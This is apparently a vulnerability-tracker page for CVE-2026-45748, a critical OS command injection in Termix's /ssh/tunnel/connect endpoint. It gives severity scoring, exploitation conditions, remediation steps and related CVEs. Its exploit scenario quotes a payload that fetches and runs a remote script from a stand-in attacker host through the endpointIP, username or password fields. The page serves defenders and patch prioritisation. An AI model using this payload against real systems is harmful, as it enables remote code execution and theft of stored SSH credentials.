Skip to main content

Termix CVE-2026-45748

| EUVDEUVD-2026-34876 CRITICAL
OS Command Injection (CWE-78)
2026-06-05 GitHub_M
9.8
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Discover exposed Termix instance
  2. Delivery
    Craft POST to /ssh/tunnel/connect with shell metacharacters in host fields
  3. Exploit
    Server interpolates payload into shell command
  4. Execution
    Injected command executes on Termix host
  5. Impact
    Steal stored SSH credentials and pivot to managed servers

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be able to send an HTTP POST to the /ssh/tunnel/connect endpoint of a Termix instance running a version prior to 2.3.2, and must be able to supply or control the endpointIP, endpointUsername, or password fields of a host record consumed by that endpoint. The CVSS vector lists PR:N (no privileges), implying the endpoint is reachable without authentication in default deployments - though operators who place Termix behind SSO/reverse-proxy auth, on a private network, or who restrict host-record creation to admins will materially limit exposure. No user interaction is required (UI:N), and exploitation succeeds against default installations on any supported platform (Windows, Linux, macOS) where the Termix service is network-reachable.

Impact

The CVSS 9.8 score is justified by the vector AV:N/AC:L/PR:N/UI:N with full CIA impact - exploitation is network-reachable, low-complexity, requires no authentication per the vector, and yields RCE. SSVC signals would lean toward 'act': technical impact is total, automatable is plausible since the endpoint is a single HTTP POST, and exploitation requires no user interaction. However, EPSS data was not provided and the CVE is not on CISA KEV, so there is no evidence of active exploitation yet. One conflicting signal worth noting: the description says the injection occurs via fields in a 'host record,' which in many deployments would require an authenticated user to create the host entry first - verify against the actual route's auth middleware, because the PR:N rating may not reflect production deployments that gate /ssh/tunnel/connect behind login. Even so, given the low complexity and RCE outcome, this should be treated as a high-priority patch.

Exploit ScenarioDerived

A remote attacker reachable to the Termix web service sends a POST request to /ssh/tunnel/connect with a host record whose endpointIP, endpointUsername, or password field embeds shell metacharacters such as '; curl attacker.tld/sh | sh #', causing the Termix server to execute the injected command on the host running Termix when it builds the SSH tunnel invocation. The result is persistent code execution on the Termix server itself (not on the remote SSH endpoint), giving the attacker a foothold from which to harvest stored SSH credentials for downstream hosts. No public exploit identified at time of analysis, but the bug is straightforward to weaponize given the published advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 05, 2026

OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated attackers to execute arbitrary commands on the source SSH host via the POST /ssh/tunnel/connect endpoint. The flaw stems from user-controlled host record fields being interpolated directly into shell commands without escaping, yielding persistent code execution. No public exploit identified at time of analysis, but a vendor-released patch is available in version 2.3.2.

RemediationAI

Vendor-released patch: upgrade to Termix 2.3.2 or later, available from https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag for all supported platforms (Windows EXE/MSI, Linux DEB/AppImage, macOS DMG). If immediate upgrade is not possible, restrict network access to the Termix web interface using firewall rules or a reverse-proxy allowlist so that only trusted operator IPs can reach the /ssh/tunnel/connect endpoint, and disable or remove the tunnel-creation feature for non-administrative users (trade-off: breaks tunneling workflows). As a stopgap, run the Termix process under an unprivileged service account with no sudo rights and in a container with a read-only filesystem to limit blast radius of code execution; this does not prevent the injection but reduces post-exploitation impact. Review the advisory at https://github.com/Termix-SSH/Termix/security/advisories/GHSA-xmjh-8cc2-qm49 for vendor-recommended steps.

Affected VersionsENISA

Termix < 2.3.2

Affected Packages

euvd termix fix: 2.3.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Termix (cpe:2.3:a:termix-ssh:termix) is a web-based server management platform providing SSH terminal access, port tunneling, and remote file editing. The vulnerability is a classic CWE-78 (OS Command Injection) where the backend constructs an SSH tunnel command by string-concatenating the endpointIP, endpointUsername, and password fields from a host record directly into a shell invocation, then passing the composite string to a shell interpreter. Because no escaping, quoting, or argument-array execution is used, shell metacharacters (;, |, &, $(), backticks) embedded in any of these fields are interpreted by the shell rather than treated as literal data, producing arbitrary command execution in the context of the Termix server process.

Know when Termix gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jun 05, 2026 - 20:02 EUVD

DescriptionGitHub Advisory

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. The POST /ssh/tunnel/connect endpoint in Termix prior to version 2.3.2 builds an SSH tunnel command by interpolating user-controlled host record fields (endpointIP, endpointUsername, password) directly into a shell command without escaping, allowing persistent OS command injection on the source SSH host. Version 2.3.2 patches the issue.

Executive ViewAI

Why It Matters

Termix versions prior to 2.3.2 contain a critical unauthenticated remote code execution vulnerability in the SSH tunnel management function, allowing attackers to execute arbitrary commands on managed servers. Although no public exploit code has been identified at time of analysis, the vulnerability's lack of authentication requirements and critical severity (CVSS 9.8) create immediate infrastructure risk. Any organization using affected Termix versions requires urgent patching to prevent server compromise.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 48% exploitable
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Termix

View all
CVE-2025-59951 CRITICAL POC
9.2 Oct 01

Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro

CVE-2026-22804 HIGH POC
8.0 Jan 12

Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja

CVE-2026-45744 CRITICAL
9.9 Jun 05

Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat

CVE-2026-42454 CRITICAL
9.9 May 08

Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti

CVE-2026-53545 CRITICAL
9.8 Aug 19

OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can

CVE-2026-53546 CRITICAL
9.6 Aug 19

Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo

CVE-2026-53548 CRITICAL
9.6 Aug 19

Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate

CVE-2026-79766 CRITICAL
9.1 Sep 24

Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c

CVE-2026-45746 CRITICAL
9.0 Jun 05

Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a

CVE-2026-45750 CRITICAL
9.0 Jun 05

Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitr

CVE-2026-53542 HIGH
8.8 Aug 19

Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-

CVE-2026-53547 HIGH
8.8 Aug 19

Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy